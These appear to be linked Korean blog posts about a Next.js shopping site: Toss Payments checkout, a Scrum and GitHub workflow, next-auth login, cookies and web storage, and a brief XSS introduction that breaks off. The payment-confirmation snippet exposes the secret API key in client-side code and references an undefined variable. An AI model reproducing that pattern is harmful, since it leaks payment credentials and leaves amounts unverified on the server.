나는 웹에서의 주문과 결제에 대해서 아무것도 아는 것이 없었다. 실제 고객들의 돈이 오고 가는 중요한 기능이라 오류가 발생하면 어떡하나 마냥 두렵기도 했다. 그래도 일단 해봐야 알지 않겠는가? 이번 프로젝트에서 어떤 과정을 통해 어떻게 해당 기능을 공부하고 구현했는지 정리해 보았다.

PG사 선택하기

웹에서 발생하는 결제의 대부분은 카드결제와 간편결제다. 그렇다면 카드, 간편 결제를 하기위해 수많은 카드사와 계약을 해야 할까?

이럴때 우리를 도와주는 것이 전자결제 지급대행사 로 PG사 라고도 부른다. PG사는 여러 카드사와 계약을 채결하고 개인 사업자에게 수수료를 받으며 결제 및 지불을 대행하는 회사로 카드결제, 간편결제, 계좌이체, 가상계좌(무통장입금) 등 다양한 결제 방식을 온라인에서 편하게 연동할 수 있게 해주는 서비스를 제공해 준다.

일단은 국내 결제만 고려하기로 결정했고 토스페이먼츠, KG이니시스, 나이스 페이먼츠등 잘 알려진 국내 PG사들 중 토스페이먼츠를 이용하기로 했다. 기본으로 제공하는 결제 위젯이 마음에 가장 들었고 제공하는 개발자 문서와 예시가 정말 잘 정리 되어 있어서 정해진 결정 이였다.

프로젝트에 적용하기

결제 연동에 필요한 과정은 토스페이먼츠 개발자 페이지에 너무도 자세히 설명해주고 있어서 큰 어려움 없이 적용할 수 있었다. 참고했던 자료들은 아래에 첨부했다.

토스페이먼츠 개발 가이드 토스페이먼츠 결제위젯 샘플 깃헙

토스 페이먼츠의 결제 과정

시작하기 이전에 먼저 간단하게 결제 과정이 어떻게 흘러가는지 알아보자.

토스에 결제를 요청하면 인증 과 승인 과정이 차례대로 진행된다. 여기서 인증은 결제 정보가 올바른지 검증하는 과정이고 승인 은 인증에 성공한 결제를 최종 승인하는 과정이다. 승인 요청에 성공하면 결제 요청 과정이 끝나게 된다.

또한, 이 인증과 승인 사이에 리다이렉트 과정이 있다. 토스에서 인증 결과를 URL의 쿼리 파라미터에 담아 리다이렉트하면, 해당 정보를 받아 결제 승인을 처리하는 개념이다.

결제 요청 과정에 대한 더 자세한 설명은 이 블로그 포스트에서 확인할 수 있다.

API 키 설정하기

제일 먼저 할일은 API 키를 받아와서 환경 변수에 저장하는 것이다. 토스페이먼츠 에서는 회원가입 하기 전에도 테스트 키를 제공받아 볼 수 있고 가입 이후엔 나만의 테스트 키를 지급 받는다.

// 문서 테스트 키
// 토스페이먼츠 회원가입하기 전이라면 아래 키로 결제위젯을 연동하세요.
const clientKey = 'test_ck_D5GePWvyJnrK0W0k6q8gLzN97Eoq'
const secretKey = 'test_sk_zXLkKEypNArWmo50nX3lmeaxYG5R'

// 내 테스트 키
// 토스페이먼츠에 회원가입을 완료했다면 아래 키로 결제위젯을 연동하세요.
// 로그인하면 문서의 API 키가 모두 내 테스트 키로 변경됩니다.
const clientKey = <개인 클라이언트키>
const secretKey = <개인 시크릿키>

이 테스트 키를 이용하면 실제 결제는 진행되지 않지만 모든 결제 로직을 테스트 해보고 토스 개발자센터에서 결제 내역을 확인해 볼 수 있다.

결제 위젯 그리기

개발자 홈페이지엔 기본적으로 결제 위젯을 그리는 샘플 자바스크립트 코드가 제공되어 있었고 나는 토스에서 제공해주는 리액트 샘플 코드를 참고해서 프로젝트에 적용했다. ( 최근에 다시 보니 nextjs 코드도 업데이트 되어있다 )

제일 먼저 토스페이먼츠 sdk 를 추가해준다.

$ yarn add @tosspayments/payment-widget-sdk

그 이후 결제창을 띄우고 싶은 주문 페이지로 가서 결제 위젯을 띄워준다.

위젯 인스턴스를 생성하기 위해서 clientKey 와 customerKey 가 필요하다. clientKey 에는 앞서 저장한 환경 변수값을 넣었는데 customerKey 이 녀석은 뭐하는 녀석인가. 역시 토스 개발자 문서에 자세히 나와 있다.

customerKey 는 상점에서 고객을 구분하기 위해 사용되며 다른 사용자가 이 값을 알게 되면 악의적으로 사용가능 함으로 충분히 무작위적인 고유한 값을 사용해야 한다. 또, 고객에게 할당된 키는 변경없이 항상 같은 값이어야 한다. 해당 키는 재구매율, 이탈률, 구매전환율 등을 측정하거나 결제창에서 이탈한 고객을 다시 결제로 유도하는데 이용된다.

따라서 나는 customerKey 에는 DB에 저장되어 있는 id 값을 사용했다. 만약, 비회원 주문일 경우에는 sdk 에서 제공해주는 ANONYMOUS 값으로 지정해주면 된다. 그리고 결제할 금액의 양까지 지정해주면 일단 위젯 뛰우기는 성공!

// ../order.tsx

import { useEffect, useRef } from "react";
import {
  loadPaymentWidget,
  PaymentWidgetInstance,
  ANONYMOUS,
} from "@tosspayments/payment-widget-sdk";
import { nanoid } from "nanoid";

export default function Order() {
  const { data } = useSession();
  const paymentWidgetRef = useRef<PaymentWidgetInstance | null>(null);
  const paymentMethodsWidgetRef = useRef<ReturnType<
    PaymentWidgetInstance["renderPaymentMethods"]
  > | null>(null);

  const clientKey = process.env.NEXT_PUBLIC_PAYMENTS_CLIENT!;
  const customerKey = data ? data.user?.id! : ANONYMOUS;
  const price = 15000;

  useEffect(() => {
    // 결제창 로드
    (async () => {
      const paymentWidget = await loadPaymentWidget(clientKey, customerKey);

      const paymentMethodsWidget = paymentWidget.renderPaymentMethods(
           "#payment-widget",
        price,
      );
      paymentWidget.renderAgreement("#agreement");

      paymentWidgetRef.current = paymentWidget;
      paymentMethodsWidgetRef.current = paymentMethodsWidget;
    })();
  }, []);

  return (
    <main>
      <div>
        <div id="payment-widget" />
        <div id="agreement" />
      </div>
    </main>
  );
}

결제 요청하기

그 다음 결제하기 버튼을 클릭했을 때 호출할 함수를 만들어 준다. 버튼을 클릭했을 때 앞서 만든 위젯 인스턴스의 requestPayment 함수를 호출하면 된다. 해당 함수를 호출할 때 다음과 같은 값들을 지정해 줘야한다: orderId, orderName, customerName, successUrl, failUrl .

주문번호 생성하기

이 중에서 orderId 는 나중에 주문 정보 트랙킹을 위해 사용되고 CS 처리 및 사용자 편의성을 고려해 따로 생성 로직을 구현했다. 따라서 다음과 같은 규칙들을 고려해서 설정했다:

• 주문별로 고유한 값
• 주문에 대한 대략적인 정보를 담고있음 (업무효율성 향상)
• 고정된 길이 + 최대한 짧은 길이 (고객실수 방지)

따라서 다음과 같은 형태로 주문 번호를 생성하기로 했다.

연월일(YYMMDD) + 모든 영문자 5자리

// ../order.tsx

import { customAlphabet } from "nanoid";

// 주문번호 생성 로직
const today = new Date();
const year = today.getFullYear().toString().slice(-2);
const month = (today.getMonth() + 1).toString().padStart(2, "0");
const day = today.getDate().toString().padStart(2, "0");
const yymmdd = year + month + day;

const customNanoid = customAlphabet(
  "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ",
  5
);
const orderId = yymmdd + customNanoid();

리다이렉트 경로 설정하기

그 다음으로는 successUrl 와 failUrl 을 설정해 주어야 한다. 이 두 경로는 각각 결제 인증에 성공했을 때 그리고 실패했을 때 리다이렉트 될 경로다.

해당 정보들을 모두 입력해 준 뒤 코드는 다음과 같다:

// ../order.tsx

const proceedPayment = async () => {
    const paymentWidget = paymentWidgetRef.current;

    try {
      await paymentWidget?.requestPayment({
        orderId: orderId,
        orderName: orderTitle,
        customerName: data ? data.user?.name! : newAdrs.name,
        successUrl: `${window.location.origin}/order/success`,
        failUrl: `${window.location.origin}/order/fail`,
      });
    } catch (err) {
      console.log(err);
    }
  };

return (
    <main>
      <div>
        <div id="payment-widget" />
        <div id="agreement" />
        <button
          type="button"
          onClick={proceedPayment}
        >
          결제하기
        </button>
      </div>
    </main>
  );
};

결제 승인하기

결제 승인 과정은 결제 요청 때 저장해 둔 결제 정보와 요청 결과로 돌아온 결제 정보 값이 같은지 검증하는 과정이다. 즉 클라이언트에서 결제 금액을 조작해 승인하는 행위를 방지하기 위해 거치는 과정이다.

앞서 진행한 결제 요청이 성공하게 되면 설정해놓은 successUrl 로 리다이렉트 되게 되는데 이때 URL에 포함된 파라미터를 사용해 결제 승인을 요청할 수 있다.

결제 성공 URL은 다음과 같은 형태의 쿼리 파라미터를 전달 받는다.

https://{ORIGIN}/success?paymentKey={PAYMENT_KEY}&orderId={ORDER_ID}&amount={AMOUNT}&paymentType={PAYMENT_TYPE}

구현한 결제 인증 과정은 다음과 같다.

// ../order/success.tsx

import { useEffect } from "react";
import { useRouter } from "next/router";
import { useSearchParams } from "next/navigation";
import axios from "axios";

import { OrderConfirmType } from "common/types/tosspayments";
import Loader from "components/Loader/Loader";

export default function Success() {
  const router = useRouter();
  const searchParams = useSearchParams();

  const secretKey = process.env.NEXT_PUBLIC_PAYMENTS_SECRET!;
  const orderId = searchParams.get("orderId");
  const paymentKey = searchParams.get("paymentKey");
  const amount = searchParams.get("amount");
  const authKey = btoa(secretKey + ":");

  // 서버로 결제 승인 요청 보내기
  useEffect(() => {
    if (
      !orderId ||
      !paymentKey ||
      !amount ||
      !authKey
    )
      return;

    const getOrderConfirmData = async () => {
      try {
        const confirm = await axios.post(
          "https://api.tosspayments.com/v1/payments/confirm",
          { paymentKey: paymentKey, amount: amount, orderId: orderId },
          {
            headers: {
              Authorization: `Basic ${authKey}`,
              "Content-Type": "application/json",
            },
          }
        );

        router.push(`/order/confirmation/${order.data.data.id}`);
      } catch (error) {
        console.log(
          "결제 승인 및 주문 저장과정에서 에러가 발생했습니다. " + error
        );
      }
    };

    getOrderConfirmData();

  }, [amount, authKey, data, orderId, paymentKey]);

  return <Loader isLoading={true} />;
}

느낀점

처음에 회원인 사용자들만 결제할 수 있도록 설계를 했는데 이후 비회원 주문 기능을 추가하면서 여러 오류가 발생했다. 일단은 발생하는 에러들을 해결해 놓은 상태이지만 만약에 또 로직을 변경해야 하는 일이 있다면 또 많은 문제가 발생할 수 있었다.

코드를 변경할 때마다 어디서 오류가 발생할지 알수가 없게되고 변경한 코드를 신뢰할 수 없게되는 경험은 결코 즐겁지 않은 경험이였고 만약 개인 프로젝트가 아닌 여러명이 작업하고 있었다면 문제는 더 커질 것 같았다. 이런 경험으로 왜 코드를 리팩토링하고 모듈화 하는지 그리고 왜 테스트 코드가 중요한지 느낄 수 있었다.

그리고 토스 페이먼츠에서 제공하는 개발자 문서에 감명 받았다. 최근에 작은 사이드 프로젝트를 진행했는데, 세네명만 협업하는데도 api가 잘 정리되어 있지 않으면 혼란스럽고 프로젝트 진행이 더뎌지는 경험을 했다. 반면 토스 개발자 문서는 다른 자료를 전혀 참고할 필요가 없을 정도로 상세하게 잘 정리되어 있었다.

이번 작업을 하면서 그냥 생각나는데로 기능 구현하기 급급하던 내 모습을 반성하게 되었다. 코드의 신뢰성을 높이고 문서화의 중요성을 알 수 있었다.

레퍼런스

토스페이먼츠 개발 가이드 토스페이먼츠 결제위젯 샘플 깃헙 CS처리에-효율적인-주문번호-만들기-주문번호-알고리즘

개발 협업에 대한 주워들은 지식과 추가적인 정보 탐색 이후 진행할 프로젝트에 적용할 방식과 툴을 어느정도 정했다. 결과적으로 Scrum 개발 방식과 Github 를 프로젝트 관리에 사용하기로 결정했다.

Scrum 개발론

스크럼 방식은 비즈니스 요구에 집중해서 작은 목표들을 짧은 주기로 점진적이고 지속적으로 개발하는 관리 기법이다.

스크럼 개발론의 특징

• 프로젝트에 포함할 기능/개선점에 대해 우선순위를 부여한다
• 개발주기는 1~4주로 하고 매 주기마다 실제 동작하는 결과를 제공하라
• 매일 15분 정도의 scrum meeting 을 가져라
• 항상 팀을 우선으로 생각하라. 자신의 업무보다 주변 이슈가 더 급하면 도와줘야 한다.
  

프로젝트의 개발론 적용

프로젝트의 기한을 한달 정도르 짧게 잡았기 때문에 sprint의 주기를 7일로 정했다.

매일마다 팀원들과 scrum meeting 을 진행했고 미팅 미닛을 작성해서 보관했다. 미팅은 모두 온라인으로 이루어졌고 Discord 의 화상 미팅을 통해 서로 화면을 공유하면서 진행했다.

그 후 스크럼 방식을 더 효과적으로 프로젝트에 적용하기 위해 Jira 와 Github 같은 툴을 사용했다.

JIRA

많은 회사에서 사용하고 있는 이슈관리 툴이라는 이야기를 듣고 프로젝트에 적용해서 사용해보기로 한다.

전체 프로젝트 기간동안의 각 스프린트 마다 달성할 목표를 정하고, 해당 스프린트 아래에 구현할 기능 목록인 백로그를 작성해서 정리했다. 그리고 스크럼 보드를 통해 팀원들이 서로의 진행 상황을 확인하고 공유했다.

하지만 이후 Github 이 제공하는 issue 와 project 탭 사용방법에 대해서 알게 되면서 사용빈도가 줄고 결국 사용하지 않게 되었다.

GitHub

협업의 용도로써 깃을 거의 사용해 본적이 없던 나는 말그대로 코드 저장소의 역할로써 깃을 사용해왔다.

하지만 팀원들과 여러 기능들에 대해 공부해보니 깃헙에서 제공하는 여러 유용한 툴들과 개발 방식에 대해 알게 되었고 프로젝트에 바로 적용했다.

깃 브랜치 전략

Git-Flow 라는 브랜치 구조를 참고했으면 해당 구조는 아래와 같다.

• main : 배포할 라이브 서버에 연결될 브랜치.
• dev : 다음 출시 버전을 대비하여 개발하는 브랜치.
• topic :  추가 기능 개발 브랜치. dev 브랜치에서 작업할 이슈별로 topic 브랜치를 나눠서 개발한다. 이 각각의 브랜치는 기능을 완성할 때 까지 유지하고, 다 완성되면 dev 브랜치에 merge 하고 결과가 좋지 않다면 버리는 방식으로 개발한다.

프로젝트에는 간략화 된 git-flow 구조를 사용했다

브랜치 이름은 다음 형태로 정했다:

    <종류>-<이슈넘버>-<내용요약> (e.g. `feat-13-loginpage`)

토픽 종류는 간단하게 3가지로 정했다:

• feat : 기능개발
• fix : 기능 수정
• refactor : 코드 리팩토링

이슈

이슈는 프로젝트의 작업, 개산 사항 및 버그를 추적하는 좋은 방법으로 사용되며 모든 활동 내역에 대해서 이슈를 등록하고 등록한 이슈를 기반으로 작업을 진행할 수 있다.

새로운 이슈를 추가하고 싶을 때는 이슈 탭 안에 New issue 버튼을 사용해서 간단히 만들 수 있다. 또한 미리 이슈 템플릿을 만들어 이슈 형태를 통일시킬 수 있다.

이슈 템플릿 추가 방법

프로젝트의 깃의 탭 중에서 설정 탭 아래에서 템플릿을 추가할 수 있다.

Settings → General → Features → Issues → Set up Templates

프로젝트가 복잡하고 크지 않기 때문에 아래와 같은 간단한 형태의 템플릿을 만들어서 사용했다 :

**설명**
무슨 기능에 대해서 작업하고 싶은지 명료하게 명시

**할일 목록**
- [ ] 할일1
- [ ] 할일1

**참고사항**
추가로 설명해야하는 상황이나 스크린샷등...

이렇게 템플릿을 만들고 나면 자동으로 레포지토리 코드 /.github/ISSUE_TEMPLATE 폴더가 생성되고 그 안에 [템플릿 이름].md 파일이 생성되어 저장된다.

프로젝트의 이슈들

나는 앞서 만들었던 스크럼 백로그들을 이슈로 등록했다.

개발 백로그들을 따라 만들어진 이슈들 (개발중 추가적으로 필요한 기능들은 계속 이슈로 추가했다)

이슈넘버와 커밋

해당 이슈들을 기반으로 브랜치를 나누고 개발한 코드를 커밋했는데 이때 커밋 메세지에 #이슈넘버 를 포함하면 깃헙에서 해당 커밋을 이슈에서 자동으로 트랙킹 해준다.

“Feat: 풋터 개발” 커밋 안에 #21 이슈넘버를 입력함으로써 해당 이슈에서 트랙킹된다.

부가적으로 커밋 형태 역시 아래와 같은 규칙을 정하고 사용했다:

Feat: "회원 가입 기능 구현"

SMS, 이메일 중복확인 API 개발

Ref: #1

브랜치 설정과 Pull Request

Pull Request

브런치에 commit 한 내역들 변경된 사항을 다른 사람들에게 알리는 기능으로 지정된 브랜치에 merge 하기 전에 변경사항들에 팀원들과 논의, 검토 할 수 있다.

배포에 앞서 팀원과 같이 검토하고 개발 진행 상황에 따라 코드 리뷰도 진행할 수 있는 좋은 도구라는 생각이 들어 프로젝트에 도입했다.

프로젝트에 PR 설정

Settings 탭 아래 Branches 설정 항목에서 각 브랜치 별로 설정을 해줄수가 있었는데 이 프로젝트에서는 main 과 dev 브랜치에 다음과 같이 pull request 설정을 해놨다:

팀원이 총 3명이였기 때문에 PR 을 머지하기 이전에 나머지 두명의 review 에서 approve 를 받아야만 머지가 완료되는 설정을 추가했다. 이 리뷰는 데일리 미팅 시간에 코드 리뷰 및 진행 상황 공유와 함께 이루어졌고 이 과정을 통해서 팀원 모두가 개발상황을 따라올 수 있게 하는 좋은 방법이라는 생각이 들었다.

Pull Request 진행 방식

1. 깃 레포를 clone 해서 로컬에 코드를 가져온다.

git clone 레포주소

1. 로컬에서 따로 개발할 브랜치를 만든다.

git checkout -b 작업브랜치

1. 작업한 브랜치에 변경사항들을 커밋한 뒤 깃헙 origin 레포에 push 한다.

git push origin 작업브랜치

1. 이후 깃헙에서 변경된 코드가 포함된 새로운 브랜치가 생성되고 해당 브랜치에서 pull request 를 생성한다.
2. 깃헙에서 머지가 완료되면 로컬 브랜치에서도 똑같이 작업 브랜치를 머지하고 삭제한다.

git checkout dev
git merge 작업브랜치
git branch -d 작업브랜치

프론트 레포에서 생성하고 머지된 PR들의 모습

느낀점

오픈소스 컨트리뷰트 경험도 없고 제대로된 팀프로젝트를 깃헙에서 경험해보지 못했던 나로서는 이번 프로젝트에서 가장 많이 배운점이 깃헙을 활용한 협업이였다. 대부분의 개념들을 처음 접하고 프로젝트에 적용해보는 거라 실수 투성이에 어수룩한 점들이 많지만 이런 과정들을 통해서 배우는게 아닌가 싶다.

아쉬운 점이 있다면 프론트 개발은 나 혼자서 진행했기 때문에 코드 리뷰를 진행하더라도 팀원들이 전체적인 코드를 정확하게 이해하고 리뷰를 해주지는 못했고 진행상황을 가볍게 공유하는 정도에 그쳤다는 점이다.

Reference

[Agile] Scrum(스크럼) 이해하기 [GIT] 📈 깃 브랜치 전략 정리 - Github Flow / Git Flow

최근에 nextjs 프레임워크를 이용하여 쇼핑몰 웹앱 프로젝트를 새로 시작하면서 가장 먼저 고민하게된 문제는 회원가입 및 로그인이였다. 백엔드 서버를 따로 두지 않는 서버리스 구조로 프로젝트를 계획하던 중이라 빠르고 간편하게 인증과 인가 기능을 구현할 수 있는 next-auth 라이브러리를 도입해 보았다.

next-auth ?

next-auth 의 기본 개념과 환경 세팅은 이미 자세하게 잘 설명해놓은 글이 많기 때문에 생략하도록 하고 내가 참고 했던 글 몇개만 첨부하고 넘어가도록 하겠다.

https://next-auth.js.org/getting-started/introduction https://velog.io/@dosomething/Next-auth-를-이용한-로그인-구현#-토큰-유효성-검사

프로젝트에 적용하기

쇼핑몰 사용자 연령대를 4, 50대로 잡았고 일단은 국내 사용자로 한정하여 네이버 와 카카오 로그인이 가장 효과적일 것으로 생각되어 해당 provider 을 추가하였다.

// src/pages/api/auth/[...nextauth].ts

import NextAuth from "next-auth";
import type { NextAuthOptions } from "next-auth";
import NaverProvider from "next-auth/providers/naver";
import KakaoProvider from "next-auth/providers/kakao";

export const authOptions: NextAuthOptions = {
  providers: [
    NaverProvider({
      clientId: process.env.NAVER_ID!,
      clientSecret: process.env.NAVER_SECRET!,
    }),
    KakaoProvider({
      clientId: process.env.KAKAO_ID!,
      clientSecret: process.env.KAKAO_SECRET!,
    }),
  ],
};

export default NextAuth(authOptions);

위에서 적은 코드가 잘 작동하나 싶어 확인해 보았다.

로그인을 했을 때 쿠키에 정보가 잘 저장되고 로그아웃 하면 사라진다. 잘 동작한다!

Session 에서 문제 발생

그럼 세션값에 정보가 잘 들어있는지 확인하기 위해 아무 페이지에서 useSession() 을 사용해서 세션을 불러왔는데 왠걸 카카오에서는 잘찍히는 name 프로퍼티가 네이버에서는 undefined 가 떳다...

왜 이런 문제가 발생하는지 살펴 보기위해 로그인 이후 해당 정보를 포함하는 signIn() 콜백 함수안에서 user 객체 콘솔을 찍어보았다. 역시나 이름이 들어 있어야 할 name 에 undefined 값이 들어있었고 profile 객체 안에 이름값이 들어 있었다.

이런 일이 발생하는 이유는 next-auth 에서 워낙 다양한 플랫폼의 oauth 를 지원하다 보니 플랫폼마다 주는 데이터의 형식 차이로 발생하는 문제가 아닌가 라고 유추해 보았다.

// 네이버 로그인 user 객체
{
  id: 'qp47I3BLNuXxweV56HTk...',
  name: undefined,
  email: 'example1234@naver.com',
  image: undefined
}

// 네이버 로그인 profile 객체
{
  resultcode: '00',
  message: 'success',
  response: {
    id: 'qp47I3BLNuXxweV56HTk...',
    email: 'example1234@naver.com',
    name: '공기밥'
  }
}

이유가 어찌되었든 두 플랫폼 모두 빈 값없이 사용자 정보를 세션에 담도록 다음과 같이 코드를 변경해 주었고 이후 세션에 네이버 로그인 역시 이름값이 잘 담겨서 전달되는 것을 확인했다.

export const authOptions: NextAuthOptions = {
  providers: [
    NaverProvider({
      clientId: process.env.NAVER_ID!,
      clientSecret: process.env.NAVER_SECRET!,
    }),
    KakaoProvider({
      clientId: process.env.KAKAO_ID!,
      clientSecret: process.env.KAKAO_SECRET!,
    }),
  ],
  callbacks: {
    async signIn({ user, profile }) {
      // profile 객체에 이름이나 이메일 값이 있으면 해당 값을 user 객체에 저장
      if (profile) {
        user.name = profile.response?.name || user.name;
        user.email = profile.response?.email || user.email;
      }

      return true;
    },
  },
};

export default NextAuth(authOptions);

DB 와 로그인 정보 연동하기

이번 프로젝트에서 회원가입은 별도의 추가 정보없이 간단히 이름과 이메일 정보만 필요로 했다. 따라서 oauth 로그인 할 때 DB에 사용자 정보가 없는 사람은 바로 회원가입이 이루어지는 방식으로 구현했다.

next-auth 에서는 자동으로 데이터베이스와 연결해주는 adapter 라는 기능을 지원한다. 이 프로젝트는 MongoDB 를 사용하고 있었고 @auth/mongodb-adapter 도 지원하고 있어서 프로젝트에 적용해 보았지만 여러 에러들을 마주했다. 또한 DB에 생성되는 모델의 형태도 정해져 있어 내가 원하는 DB 구조가 아니었기 때문에 adapter 를 사용하지 않기로 결정했다.

사용자가 로그인 하면 호출되는 signIn 콜백 안에서 DB를 체크하고 새로운 유저를 등록하는 로직을 집어 넣어서 간단하게 연동시켰다. prisma ORM 을 사용해서 데이터베이스 모델을 관리했고 DB에 생성된 유저 id 와 role 정보를 세션에 추가해서 클라이언트에서 나중에 접근할 수 있도록 했다.

최종 코드

// src/pages/api/auth/[...nextauth].ts

import NextAuth from "next-auth";
import type { NextAuthOptions } from "next-auth";
import NaverProvider from "next-auth/providers/naver";
import KakaoProvider from "next-auth/providers/kakao";
import prisma from "common/lib/prisma";

export const authOptions: NextAuthOptions = {
  providers: [
    NaverProvider({
      clientId: process.env.NAVER_ID!,
      clientSecret: process.env.NAVER_SECRET!,
    }),
    KakaoProvider({
      clientId: process.env.KAKAO_ID!,
      clientSecret: process.env.KAKAO_SECRET!,
    }),
  ],
  callbacks: {
    async signIn({ user, profile }) {
      if (profile) {
        user.name = profile.response?.name || user.name;
        user.email = profile.response?.email || user.email;
      }

      try {
        // 데이터베이스에 유저가 있는지 확인
        let db_user = await prisma.user.findUnique({
          where: { email: user.email! },
        });

        // 없으면 데이터베이스에 유저 추가
        if (!db_user) {
          db_user = await prisma.user.create({
            data: {
              name: user.name!,
              email: user.email!,
              cart: {
                create: {},
              },
            },
          });
        }

        // 유저 정보에 데이터베이스 아이디, 역할 연결
        user.id = db_user.id;
        user.role = db_user.role;

        return true;
      } catch (error) {
        console.log("로그인 도중 에러가 발생했습니다. " + error);
        return false;
      }
    },
    async jwt({ token, user }) {
      if (user) {
        token.id = user.id;
        token.role = user.role;
      }

      return token;
    },
    async session({ session, token }) {
      // 세션에 유저 정보 저장
      if (session.user) {
        session.user.id = token.id as string;
        session.user.role = token.role as string;
      }

      return session;
    },
  },
  secret: process.env.NEXTAUTH_SECRET,
};

export default NextAuth(authOptions);

middleware 을 통한 페이지 접근 권한 설정

next-auth 에서 제공하는 getToken() 함수를 이용해서 사용자 로그인 토큰에 접근할 수 있다는 점을 이용하여 페이지별 접근 권한 설정을 middleware.ts 파일을 통해 해주었다. 앞서 설정해 주었던 NEXTAUTH_SECRET 환경변수를 사용해서 토큰을 복호화하고 사용자 역할 정보를 가져와서 사용했다.

// src/middleare.ts

import type { NextRequest } from "next/server";
import { NextResponse } from "next/server";
import { getToken } from "next-auth/jwt";

export async function middleware(req: NextRequest) {
  const token = await getToken({
    req,
    secret: process.env.NEXTAUTH_SECRET,
  });
  const { pathname } = req.nextUrl;

  if (pathname.startsWith("/login")) {
    if (token) {
      return NextResponse.redirect(new URL("/", req.url));
    }
  }

  if (pathname.startsWith("/my")) {
    if (!token) {
      return NextResponse.redirect(new URL("/login", req.url));
    }
  }

  if (pathname.startsWith("/admin")) {
    if (token?.role !== "ADMIN") {
      return NextResponse.redirect(new URL("/", req.url));
    }
  }
}

export const config = {
  matcher: ["/login", "/my", "/admin"],
};

배포시 마주했던 에러

Vercel 을 사용해서 배포 테스트를 하던 도중 NEXTAUTH_SECRET 환경 변수를 추가해 주지 않아서 에러가 발생했다. next-auth 를 사용하기 위해 두가지 환경 변수가 필요한데, 토큰 암호화 복호화를 위한 NEXTAUTH_SECRET, 그리고 서비스 도메인 정보를 담은 NEXTAUTH_URL 이 필요하다.

NEXTAUTH_SECRET 어디서 얻음?

NEXTAUTH_SECRET 를 얻는 방법은 공식 홈페이지에 잘 나와있는데 아래 openssl 커맨드를 사용하면 된다.

$ openssl rand -base64 32

vscode 커맨드 창이나 맥 터미널 어디에서 실행해도 상관없고 실행후 아래에 출력되는 랜덤한 문자열 값을 복사해서 사용하면 된다.

쿠키

HTTP 의 무상태성

HTTP 프로토콜의 중요한 특징 중 하나는 Stateless(무상태성)이라는 것이다. 무상태성이란 서버가 클라이언트의 상태 정보를 저장하지 않는다는 것을 의미한다. 즉 클라이언트가 연속적으로 서버에 요청을 보내도 서버는 요청간에 관계를 알지 못한다는 것. 이는 서버의 확장성에는 큰 장점이 있지만 로그인과 같은 상태 유지가 필요한 기능에서 한계를 가지고 있다. 이를 보안하기 위해 추가된 것이 쿠키다.

쿠키란?

브라우저 쿠키는 서버가 사용자의 브라우저에 전송하는 키-값 구조의 작은 크기의 문자열이다 (최대 4KB). 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 Cookie 헤더에 담아 전송한다.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

쿠키 설정

쿠키는 Set-Cookie 헤더를 사용하여 설정되며 이는 웹 서버의 HTTP 응답을 통해 송신된다. 이 헤더는 웹 브라우저가 쿠키를 저장하고 이를 차기 서버 요청 시 송신할지를 지시한다.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

쿠키는 만료기간에 따라 세션 쿠키와 영속 쿠키로 나뉘게 된다.

• 세션 쿠키 : 현재 세션이 끝날 때, 즉 브라우저가 종료되는 시점에 삭제된다. 어떤 브라우저들은 재시작할때 세션을 복원해 쿠키를 무기한 존재할 수 있게 하기도 함.
• 영속 쿠키 : Expires 속성에 명시된 날짜에 삭제되거나, Max-Age 속성에 명시된 기간 이후에 삭제된다.

웹 스토리지

웹스토리지는 HTML5 부터 등장한 기능으로 쿠키와 동일한 키-값 구조의 문자열 저장공간이다. 캐시에 비해 넉넉한 5MB 의 저장 용량을 가지고 있고 요청마다 헤더에 포함되어 전송되지 않는다는 특징을 가지고 있다. 또한 도메인, 브라우저 범위로 데이터가 저장된다.

웹 스토리지의 객체 저장

앞서 말했듯이 웹 스토리지는 문자열만 저장할 수 있기 때문에 객체를 저장하기 위해서는 JSON 타입의 객체를 문자열으로 직렬화 해서 저장한다.

// 객체 -> 문자열로 직렬화
localStorage.setItem('json', JSON.stringify({a: 1, b: 2}))

// 문자 -> 객체로 역직렬화
JSON.parse(localStorage.getItem('json'))

로컬 스토리지 vs 세션 스토리지

웹 스토리지에는 로컬 스토리지와 세션 스토리지가 있고 차이점은 다음과 같다.

• 로컬 스토리지 : 유효기간 없이 데이터를 저장하고, 자바스크립트를 사용하거나 브라우저 캐시 또는 로컬 저장 데이터를 지워야만 사라진다.
• 세션 스토리지 : 탭 범위로 저장되며, 브라우저 탭이 닫힐 때까지만 데이터를 저장한다.

사용 가능 검사

웹 스토리지 기능이 현재 브라우저 세션에서 지원되고 사용가능한지 확인해야한다. 아래는 MDN에서 제공하는 localStorage 기능 지원 감지 코드로 여러가지 예외 상황에 대해 감지하도록 설계 되어 있다.

function storageAvailable(type) {
    var storage;
    try {
        storage = window[type];
        var x = '__storage_test__';
        storage.setItem(x, x);
        storage.removeItem(x);
        return true;
    }
    catch(e) {
        return e instanceof DOMException && (
            // Firefox를 제외한 모든 브라우저
            e.code === 22 ||
            // Firefox
            e.code === 1014 ||
            // 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
            // Firefox를 제외한 모든 브라우저
            e.name === 'QuotaExceededError' ||
            // Firefox
            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
            // 이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.
            (storage && storage.length !== 0);
    }
}

if (storageAvailable('localStorage')) {
  // localStorage를 사용할 수 있습니다.
}
else {
  // localStorage를 사용할 수 없습니다.
}

storageAvailable('sessionStorage')를 호출하여 sessionStorage 사용 가능 여부도 확인할 수 있다고 한다.

보안 이슈

쿠키와 웹 스토리지에 민감한 정보를 저장하고 전송할 때 마주하는 대표적인 문제들에 대해서 알아보았다.

XSS (Cross-site Scripting)

XSS(교차 사이트 스크립팅)는 공격자가 웹 사이트에 악의적인 코드를 주입하는 기법이다. XSS 관련 공격의 종류는 셀 수 없이 많지만 일반적으로 세션과 토큰과 같이 개인 정보를 탈취해 공격자에게 전송하거나, 공격자가 조작하고 있는 웹사이트로 리다이렉트 시키는 등의 방식을 사용한다.

XSS 공격은 크게 세가지 카테고리로 분류 할 수 있다 :

• Stored (Persistent) XSS : 주입된 스크립트가 목표 서버에 영구적으로 저장되어 피해자가 해당 스크립트를 서버로 부터 응답받아 브라우저에 전달되는 방식.
